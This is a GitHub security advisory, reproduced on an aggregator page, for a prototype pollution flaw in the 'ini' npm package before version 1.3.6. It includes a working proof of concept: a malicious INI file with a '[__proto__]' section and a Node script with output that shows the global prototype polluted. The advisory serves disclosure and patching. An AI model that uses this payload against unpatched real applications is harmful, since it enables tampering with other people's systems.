ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse

### Overview The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability. If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context. ### Patches This has been patched in 1.3.6. ### Steps to reproduce payload.ini ``` [__proto__] polluted = "polluted" ``` poc.js: ``` var fs = require('fs') var ini = require('ini') var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8')) console.log(parsed) console.log(parsed.__proto__) console.log(polluted) ``` ``` > node poc.js {} { polluted: 'polluted' } { polluted: 'polluted' } polluted ```

Source published

10 Dec 2020 16:53:45 UTC

Source modified

10 Sep 2026 03:49:13 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Publisher rating · HIGH